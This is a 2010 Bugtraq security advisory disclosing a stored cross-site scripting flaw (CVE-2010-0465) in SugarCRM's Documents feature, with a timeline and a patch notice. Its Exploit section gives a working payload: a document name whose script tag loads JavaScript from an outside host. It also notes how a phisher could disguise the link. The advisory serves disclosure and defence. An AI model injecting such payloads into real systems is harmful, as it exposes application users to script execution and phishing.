bugtraq - SugarCRM Stored XSS vulnerability

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Date: Tue, 16 Mar 2010 08:07:25 -0700
From: Jeromie Jackson <jeromie@...secinc.com>
To: bugtraq@...urityfocus.com
Subject: SugarCRM Stored XSS vulnerability

Class: Stored Cross Site Scripting (XSS)

CVE: CVE-2010-0465

Remote: Yes 

Local: Yes 

Published: Jan 1, 2010 12:01AM

Timeline: Submission to Mitre: January 29, 2010

Vendor Contact: February 18, 2010

Vendor Response: February 19, 2010

Patch Available: March 10, 2010

Credit: Jeromie Jackson CISSP, CISM

COBIT & ITIL Certified

President- San Diego Open Web Application Security Project (OWASP)

Vice President- San Diego Information Audit & Control Association
(ISACA)

SANS Mentor

Blog: www.JeromieJackson.com

Twitter: www.twitter.com/Security_Sifu

Validated Vulnerable: 

All previous version of SugarCRM prior to 5.5.0a and 5.2.0l 

Discussion: 

A Stored Cross-Site Scripting (XSS) vulnerability was found within
SugarCRM. The vulnerability is exploited through the online Documents
section of the application. By crafting a name that includes XSS code it
is possible to inject malicious data, redirect the user to a bogus
replica of the real website, or other nefariousactivity. 

Exploit: 

There are two ways that have been used to exploit this vulnerability. In
both instances, make a document with the following Document Name: 

pwn3d<SCRIPT SRC="http://www.jeromiejackson.com/sugarcrm.js"></SCRIPT>

Example #1

Within the SugarCRM User Interface (UI) go to the Documents List. Click
on the one just created. This will execute the script. You will see the
script right in the document list- very obvious to most users that
something doesn't look right. The next example is slighly more covert.

Example #2

Within the SugarCRM UI go to the Document List. Hover over the Document
Name you just created, right-click, and then copy the URL location. You
will see the URL does not have any of the scripting, it has been
replaced with queries directly to a Record variable within the
application. This would probably be the tact a Phisher would take.

Solution: 

A patch has been made available via the vendor. It is recommended a
routine to sanitize user input be consistently implemented throughout
the application to mitigate other such occurrences within the
application.